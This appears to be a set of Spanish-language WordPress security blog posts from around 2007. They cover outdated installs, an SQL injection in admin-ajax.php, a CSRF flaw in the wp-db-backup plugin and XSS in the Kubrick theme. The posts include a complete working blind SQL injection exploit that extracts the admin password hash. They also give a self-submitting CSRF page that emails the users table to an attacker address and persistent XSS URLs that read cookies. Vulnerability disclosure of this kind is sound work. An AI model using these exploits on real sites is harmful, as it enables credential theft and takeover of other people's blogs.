Categories
Seguridad Web WordPress

Seguridad de WordPress y la [triste] realidad

Ante los múltiples fallos de seguridad reportados en WordPress durante este año, muchos hemos publicado artículos sobre problemas de seguridad tanto del core de WordPress como de algunos plugins, también se publicó material sobre como desarrollar plugins seguros y hasta dado consejos para mejorar la seguridad de un blog; sin embargo, parece que este esfuerzo no parece reflejarse en los usuarios de a pie.

Esta racha de vulnerabilidades, se debe no sólo a que éste CMS es cada vez más complejo y popular, sino también, como mencionaba anteriormente, a la falta de interés o desconocimiento (¿falta de documentación?) de aspectos relacionados a la seguridad por parte de los desarrolladores de temas y plugins.

WordPress has become one of the most popular blogging packages on the Internet; this is largely due to its ease of use and its object oriented design which allows the user to easily extend its capabilities in the form of WordPress Plugins.

Unfortunately, "ease of use", and "security" are to often like lemon and milk.

David Kierznowski hizo público los resultados de una pequeña encuesta realizada sobre 50 blogs que usan WordPress, de los cuáles 49 de ellos eran potencialmente vulnerables porque usan versiones desactualizadas.

Versión de WordPress N° de Blogs
1.2 2
1.2-beta 2
1.2.1 3
1.2.2 4
1.5 7
1.5-gamma 1
1.5.1.1 1
1.5.1.2 1
1.5.2 1
2.0 4
2.0.1 3
2.0.2 1
2.0.3 1
2.0.4 6
2.0.5 3
2.0.6 2
2.1 2
2.1.2 2
2.1.3 3
2.2 1
Total 50

Está claro que el principal problema al igual que otro tipo de aplicaciones, es que no hay una forma efectiva de que el usuario final se entere y aplique, sin mayor esfuerzo y con menos dolores de cabeza, las actualizaciones de seguridad que se liberan...

Luego de presenciar y reportar varios problemas de seguridad de WordPress en este año, ya no creo que éste CMS (+plugins) sea lo suficientemente estable como para poner mis manos al fuego y ser [tan] audaz como algunos para decir que es seguro 🙂

Categories
Seguridad Sql Injection Web WordPress

Sql Injection en WordPress

Actualización: Al parecer las versiones menores iguales a 2.0.10 también son vulnerables, por lo que es recomendable que actualicen por lo menos a 2.0.11-RC1 o hagan las correcciones del caso.

A los que todavía sigan usando la rama 2.1 de WordPress, ayer liberaron un exploit que aprovecha de manera remota una vulnerabilidad de tipo SQL Injection en wp-admin/admin-ajax.php

El exploit que muestran es el siguiente:

php:

<?php
error_reporting(E_ALL);
$norm_delay = 0;
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
// written by Janek Vind "waraxe"
// http://www.waraxe.us/
// 21. may 2007
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$outfile = './warlog.txt';// Log file
$url = 'http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php';
$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
$id = 1;// ID of the target user, default value "1" is admin's ID
$suffix = '';// Override value, if needed
$prefix = 'wp_';// WordPress table prefix, default is "wp_"
//======================================================================

echo "Target: $url\n";
echo "sql table prefix: $prefix\n";

if(empty($suffix))
{
   $suffix = md5(substr($url, 0, strlen($url) - 24));
}

echo "cookie suffix: $suffix\n";

echo "testing probe delays \n";

$norm_delay = get_normdelay($testcnt);
echo "normal delay: $norm_delay deciseconds\n";

$hash = get_hash();

add_line("Target: $url");
add_line("User ID: $id");
add_line("Hash: $hash");

echo "\nWork finished\n";
echo "Questions and feedback - http://www.waraxe.us/ \n";
die("See ya! 🙂 \n");
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_hash()
{
   $len = 32;
   $field = 'user_pass';
   $out = '';
   
   echo "finding hash now ...\n";
   
   for($i = 1; $i < $len + 1; $i ++)
   {
      $ch = get_hashchar($field,$i);
      echo "got $field pos $i --> $ch\n";
      $out .= "$ch";
      echo "current value for $field: $out \n";
   }
   
   echo "\nFinal result: $field=$out\n\n";
   
   return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($field,$pos)
{
   global $prefix, $suffix, $id, $testcnt;
   $char = '';
   $cnt = $testcnt * 4;
   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
   $ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";

   // First let's determine, if it's number or letter
   $inj = sprintf($ipattern, $prefix, $id, ">57");
   $post = sprintf($ppattern, $suffix, $inj, $suffix);
   $letter = test_condition($post);
   
   if($letter)
   {
      $min = 97;
      $max = 102;
      echo "char to find is [a-f]\n";
   }
   else
   {
      $min = 48;
      $max = 57;
      echo "char to find is [0-9]\n";
   }

   $curr = 0;
   
   while(1)
   {
      $area = $max - $min;
      if($area < 2 )
      {
         $inj = sprintf($ipattern, $prefix, $id, "=$max");
         $post = sprintf($ppattern, $suffix, $inj, $suffix);
         $eq = test_condition($post);
         
         if($eq)
         {
            $char = chr($max);
         }
         else
         {
            $char = chr($min);
         }
         
         break;
      }
     
      $half = intval(floor($area / 2));
      $curr = $min + $half;
     
      $inj = sprintf($ipattern, $prefix, $id, ">$curr");
      $post = sprintf($ppattern, $suffix, $inj, $suffix);
     
      $bigger = test_condition($post);
     
      if($bigger)
      {
         $min = $curr;
      }
      else
      {
         $max = $curr;
      }

      echo "curr: $curr--$max--$min\n";
   }
   
   return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
   global $url, $norm_delay;
   $bret = false;
   $maxtry = 10;
   $try = 1;
   
   while(1)
   {
      $start = getmicrotime();
      $buff = make_post($url, $p);
      $end = getmicrotime();
   
      if($buff === '-1')
      {
         break;
      }
      else
      {
         echo "test_condition() - try $try - invalid return value ...\n";
         $try ++;
         if($try > $maxtry)
         {
            die("too many tries - exiting ...\n");
         }
         else
         {
            echo "trying again - try $try ...\n";
         }
      }
   }
   
   $diff = $end - $start;
   $delay = intval($diff * 10);
   
   if($delay > ($norm_delay * 2))
   {
      $bret = true;
   }
   
   return $bret;
}
///////////////////////////////////////////////////////////////////////
function get_normdelay($testcnt)
{
   $fa = test_md5delay(1);
   echo "$fa\n";
   $sa = test_md5delay($testcnt);
   echo "$sa\n";
   $fb = test_md5delay(1);
   echo "$fb\n";
   $sb = test_md5delay($testcnt);
   echo "$sb\n";
   $fc = test_md5delay(1);
   echo "$fc\n";
   $sc = test_md5delay($testcnt);
   echo "$sc\n";
   
   $mean_nondelayed = intval(($fa + $fb + $fc) / 3);
   echo "mean nondelayed - $mean_nondelayed dsecs\n";
   $mean_delayed = intval(($sa + $sb + $sc) / 3);
   echo "mean delayed - $mean_delayed dsecs\n";
   
   return $mean_delayed;
}
///////////////////////////////////////////////////////////////////////
function test_md5delay($cnt)
{
   global $url, $id, $prefix, $suffix;
   
   // delay in deciseconds
   $delay = -1;
   $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
   $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
   $inj = sprintf($ipattern, $prefix, $id, $cnt);
   $post = sprintf($ppattern, $suffix, $inj, $suffix);

   $start = getmicrotime();
   $buff = make_post($url, $post);
   $end = getmicrotime();
   
   if(intval($buff) !== -1)
   {
      die("test_md5delay($cnt) - invalid return value, exiting ...");
   }

   $diff = $end - $start;
   $delay = intval($diff * 10);

   return $delay;
}
///////////////////////////////////////////////////////////////////////
function getmicrotime()
{
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
   $ch = curl_init();
   $timeout = 120;
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
   curl_setopt($ch, CURLOPT_POST, 1);
   curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
   curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
   
   if(!empty($cookie))
   {
      curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
   }
 
   if(!empty($referer))
   {
      curl_setopt ($ch, CURLOPT_REFERER, $referer);
   }

   if($headers === TRUE)
   {
      curl_setopt ($ch, CURLOPT_HEADER, TRUE);
   }
   else
   {
      curl_setopt ($ch, CURLOPT_HEADER, FALSE);
   }

   $fc = curl_exec($ch);
   curl_close($ch);
   
   return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($buf)
{
   global $outfile;
   
   $buf .= "\n";
   $fh = fopen($outfile, 'ab');
   fwrite($fh, $buf);
   fclose($fh);
   
}
///////////////////////////////////////////////////////////////////////
?>

Los autores de este exploit recomiendan actualizar a la versión 2.2 de WordPress, sin embargo, esta nueva versión también tiene un problema similar que detallaré en su debido momento*. Si no quieren migrar todavía a la versión 2.2, la siguiente línea resaltada parece corregir este fallo (archivo wp-includes/pluggable.php):

php:

if ( !function_exists('get_userdatabylogin') ) :
function get_userdatabylogin($user_login) {
        global $wpdb;
        $user_login = sanitize_user( $user_login );

        if ( empty( $user_login ) )
                return false;

        $userdata = wp_cache_get($user_login, 'userlogins');
        if ( $userdata )
                return $userdata;

        $user_login = $wpdb->escape($user_login);

               
        if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE user_login = '$user_login'") )
                return false;

        $wpdb->hide_errors();
        $metavalues = $wpdb->get_results("SELECT meta_key, meta_value FROM $wpdb->usermeta WHERE user_id = '$user->ID'");
        $wpdb->show_errors();

        if ($metavalues) {
                foreach ( $metavalues as $meta ) {
                        $value = maybe_unserialize($meta->meta_value);
                        $user->{$meta->meta_key} = $value;

                        // We need to set user_level from meta, not row
                        if ( $wpdb->prefix . 'user_level' == $meta->meta_key )
                                $user->user_level = $meta->meta_value;
                }
        }

        // For backwards compat.
        if ( isset($user->first_name) )
                $user->user_firstname = $user->first_name;
        if ( isset($user->last_name) )
                $user->user_lastname = $user->last_name;
        if ( isset($user->description) )
                $user->user_description = $user->description;

        wp_cache_add($user->ID, $user, 'users');
        wp_cache_add($user->user_login, $user, 'userlogins');

        return $user;

}
endif;

*: Tengo que decidir que hacer con mi vida 🙂 y ponerme al tanto de las cosas que estaba haciendo luego de estas dos semanas de ausencia.

Categories
CSRF Seguridad WordPress

wp-db-backup: ¡tus datos son míos!

Ya es casi un año desde que tomamos la decisión de no utilizar wp-db-backup en este blog, esta decisión principalmente se debió a que alguien logró acceder a los paneles de administración de varios blogs que usaban este plugin, la persona que hizo esto utilizó los datos de los backups previamente generados.

Esta vez la historia se vuelve a repetir, puesto que este es otro plugin que lamentablemente es vulnerable a ataques CSRF, gracias a esto es posible que cualquiera pueda obtener los backups sin mayor esfuerzo.

La versión 2.0.6 incluye tres formas de poder obtener los backups:

  1. Guardar en un directorio aleatorio en el servidor web.
  2. Descargar el backup a la máquina del usuario.
  3. Enviar el backup por correo a una cuenta de email especificada en otro campo.

No recuerdo si la tercera opción estaba disponible antes o si es que ha sido agregado en versiones recientes, pero ésta es la más peligrosa porque si alguien incluye el siguiente documento html dentro de un (i)frame y de algún modo hace que la víctima (con permisos suficientes para realizar backups) entre a una página que contiene ese elemento, entonces, asumiendo que el prefijo de las tablas es el que viene por omisión, el atacante recibirá los datos de la tabla wp_users.

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <title>wp-db-backup PoC</title>     
</head>
<body>
    <form method="post" action="http://victima.com/wp-admin/edit.php?page=wp-db-backup.php">
            <input type="hidden" name="deliver" value="smtp" />
                <input type="hidden" name="backup_recipient" value="usuario@atacante.com" />
                <input type="hidden" name="core_tables[]" value="wp_users" />
                <input type="hidden" name="do_backup" value="backup" />
        </form>
        <script type="text/javascript">
            //<![CDATA[
            document.forms[0].submit();
            //]]>

        </script>
</body>
</html>

Una vez que se tengan los datos de los usuarios del blog victima.com, el atacante puede hacer uso de fuerza bruta para recuperar las contraseñas almacenadas con md5.

Por lo pronto, les recomiendo que desactiven este plugin mientras su autor corrige este problema y libera una nueva versión.

Categories
CSRF Seguridad Web WordPress XSS

Múltiples vulnerabilidades (Cross Site Scripting – Cross Site Request Forgery) en WordPress

Existen múltiples fallos de tipo XSS y CSRF que afectan tanto la versión en desarrollo como a toda la rama 2.x (2.0.x, 2.1.x, 2.2) de WordPress. A diferencia de los reportes anteriores donde ponía a disposición soluciones temporales, esta vez por falta de tiempo y porque los archivos afectados no son imprescindibles para el funcionamiento de un blog, recomiendo que eliminen todos los archivos que se encuentran en wp-admin/import/ puesto que la mayoría de esas páginas son vulnerables.

Me parece que este tipo de fallos van a seguir apareciendo en la siguiente versión mayor (2.2) de WordPress, no sólo porque se agrega nueva funcionalidad, sino también porque muchos usamos plugins y temas vulnerables a XSS, CSRF e inclusive a Inyección de SQL. En mi opinión, mostrar al público los plugins instalados es jugar con fuego, ya que puede ser algo contraproducente para el autor del blog 😉

Nota: Para los curiosos, pueden ver las pruebas de concepto que envié al equipo de desarrollo de WordPress.

Categories
CSRF Seguridad Web WordPress XSS

XSS en el tema Kubrick de WordPress

Kubrick, tema por omisión de WordPress, es vulnerable a ataques CSRF, esto tiene como consecuencia que un atacante pueda almacenar HTML arbitrario en sus opciones, si alguno de ustedes usa este tema, puede probar los siguientes ejemplos (o variantes) para determinar si su blog se ve afectado o no por este problema.

code:

XSS persistente que sólo funciona en IE
http://localhost/wp/wp-admin/themes.php?page=functions.php&action=save&fontcolor=expression(alert(document.cookie))

XSS persistente, funciona en todos los navegadores:
http://localhost/wp/wp-admin/themes.php?page=functions.php&action=save&headerimage='--></style><script>alert(document.cookie)</script>

Es muy probable que otros temas también sean vulnerables a este tipo de ataques, por lo cual, si vuestro blog les importa, deben tener cuidado con los plugins y temas que instalan o usan.